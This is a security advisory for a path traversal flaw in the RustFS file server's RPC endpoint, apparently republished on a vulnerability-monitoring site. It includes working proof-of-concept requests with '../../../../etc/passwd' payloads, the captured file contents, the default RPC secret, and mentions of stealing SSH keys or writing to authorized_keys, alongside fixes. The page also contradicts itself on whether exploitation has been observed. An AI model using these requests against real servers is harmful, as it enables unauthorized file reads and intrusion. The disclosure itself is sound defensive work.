Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-pq29-69jg-9mxc
No affected components available
RustFS Path Traversal Vulnerability
Vulnerability Details
- CVE ID:
- Severity: Critical (CVSS estimated 9.9)
- Impact: Arbitrary File Read/Write
- Component:
/rustfs/rpc/read_file_streamendpoint - Root Cause: Insufficient path validation in
crates/ecstore/src/disk/local.rs:1791
Vulnerable Code
// local.rs:1791 - No path sanitization!
let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS!
check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length
let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;
The code uses PathBuf::join() without:
- Canonicalization
- Path boundary validation
- Protection against
../sequences - Protection against absolute paths
Proof of Concept
Test Environment
- Target: RustFS v0.0.5 (Docker container)
- Endpoint:
http://localhost:9000/rustfs/rpc/read_file_stream - RPC Secret:
rustfsadmin(from RUSTFS_SECRET_KEY) - Disk ID:
/data/rustfs0 - Volume:
.rustfs.sys
Attack Scenario
Exploit Parameters
disk: /data/rustfs0
volume: .rustfs.sys
path: ../../../../etc/passwd # Path traversal payload
offset: 0
length: 751 # Must match file size
Required Authentication
RPC requests require HMAC-SHA256 signature:
# Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}")
Headers:
x-rustfs-signature: Base64(HMAC-SHA256(secret, data))
x-rustfs-timestamp: Unix timestamp
Successful Exploits
1. Read /etc/passwd ✅
Request:
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751
x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg=
x-rustfs-timestamp: 1766482485
Response: HTTP 200 OK
Content Retrieved:
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[... 15 more lines ...]
rustfs:x:10001:10001::/home/rustfs:/sbin/nologin
Impact: Full user account enumeration
2. Read /etc/hosts ✅
Request:
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172
Response: HTTP 200 OK
Content Retrieved:
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
[...]
172.20.0.3 d25e05a19bd2
Impact: Network configuration disclosure
3. Read /etc/hostname ✅
Request:
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13
Response: HTTP 200 OK
Content Retrieved:
d25e05a19bd2
Impact: System information disclosure
Technical Analysis
Data Flow
1. HTTP Request
↓
2. RPC Signature Verification (verify_rpc_signature)
↓
3. Find Disk (find_local_disk)
↓
4. Read File Stream (disk.read_file_stream)
↓
5. VULNERABLE: volume_dir.join(Path::new(&path))
↓
6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd
→ /etc/passwd
Path Traversal Mechanism
// Example traversal:
volume_dir = PathBuf::from("/data/rustfs0/.rustfs.sys")
path = "../../../../etc/passwd"
// PathBuf::join() resolves to:
file_path = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd"
= "/etc/passwd" // Successfully escaped!
Why It Works
- No Canonicalization: Code doesn't use
canonicalize()before validation - No Boundary Check: No verification that final path is within volume_dir
- PathBuf::join() Behavior: Automatically resolves
../sequences - Length-Only Validation:
check_path_length()only checks string length
Special Considerations
- File Size Constraint: The
lengthparameter must exactly match file size- Code validates:
file.len() >= offset + length - Otherwise returns
DiskError::FileCorrupt
- Code validates:
- Volume Requirement: Volume/bucket must exist (e.g.,
.rustfs.sys) - Disk Requirement: Disk must be registered in
GLOBAL_LOCAL_DISK_MAP
Impact Assessment
Confidentiality Impact: HIGH
- ✅ Read arbitrary files (demonstrated)
- ✅ Read system configuration files (
/etc/passwd,/etc/hosts) - ⚠️ Potential to read:
- SSH keys (
/root/.ssh/id_rsa) - Application secrets
- RustFS configuration files
- Environment variables from
/proc
- SSH keys (
Integrity Impact: HIGH
- ⚠️ Similar vulnerability exists in
put_file_stream(not tested) - ⚠️ Arbitrary file write likely possible
- ⚠️ Could write to:
- Cron jobs
- authorized_keys
- System binaries (if permissions allow)
Availability Impact: MEDIUM
- ⚠️
walk_direndpoint could enumerate entire filesystem - ⚠️ Potential DoS via recursive directory traversal
Exploitation Requirements
Prerequisites
- Network Access: Ability to reach RustFS RPC endpoints
- RPC Secret Knowledge: Knowledge of RUSTFS_SECRET_KEY
- Default:
"rustfs-default-secret" - Production: From environment variable or config
- Default:
- Disk/Volume Knowledge: Valid disk ID and volume name
- File Size Knowledge: Exact file sizes for successful reads
Attack Complexity
- Without Secret: Impossible (signature verification)
- With Secret: Trivial (automated script)
- With Default Secret: Critical risk if not changed
Mitigation Recommendations
Immediate Actions (Priority 0)
- Path Canonicalization
async fn read_file_stream(&self, volume: &str, path: &str, ...) -> Result<FileReader> {
let volume_dir = self.get_bucket_path(volume)?;
// CRITICAL FIX:
let file_path = volume_dir.join(Path::new(&path));
let canonical = file_path.canonicalize()
.map_err(|_| DiskError::FileNotFound)?;
// Validate path is within volume_dir
if !canonical.starts_with(&volume_dir) {
error!("Path traversal attempt detected: {:?}", path);
return Err(DiskError::InvalidArgument);
}
// Continue with validated path...
}
- Path Component Validation
// Reject dangerous path components
if path.contains("..") || path.starts_with('/') {
return Err(DiskError::InvalidArgument);
}
- Use path-clean Crate
use path_clean::PathClean;
let cleaned_path = PathBuf::from(&path).clean();
if cleaned_path.to_string_lossy().contains("..") {
return Err(DiskError::InvalidArgument);
}
Additional Security Measures
- Audit Logging: Log all RPC file operations with full paths
- Rate Limiting: Prevent DoS via repeated RPC calls
- Secret Rotation: Ensure unique RPC secrets per deployment
- Network Segmentation: Restrict RPC endpoint access
- Security Testing: Add path traversal tests to test suite
Long-term Improvements
- Chroot Jail: Isolate RPC operations in chroot environment
- Least Privilege: Run RustFS with minimal file system permissions
- Security Audit: Comprehensive review of all file operations
Proof of Concept Script
The complete PoC is available at: exploit_path_traversal.py
Usage
# Ensure RustFS is running
docker compose ps
# Run exploit
python3 exploit_path_traversal.py
Output
[+] SUCCESS! Read 751 bytes
[+] File content:
================================================================================
root:x:0:0:root:/root:/bin/sh
[... full /etc/passwd content ...]
================================================================================
Acknowledgements
RustFS would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability.
Acknowledgements: RustFS would like to thank @realansgar and bilisheep from the Xmirror Security Team for providing the security report.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard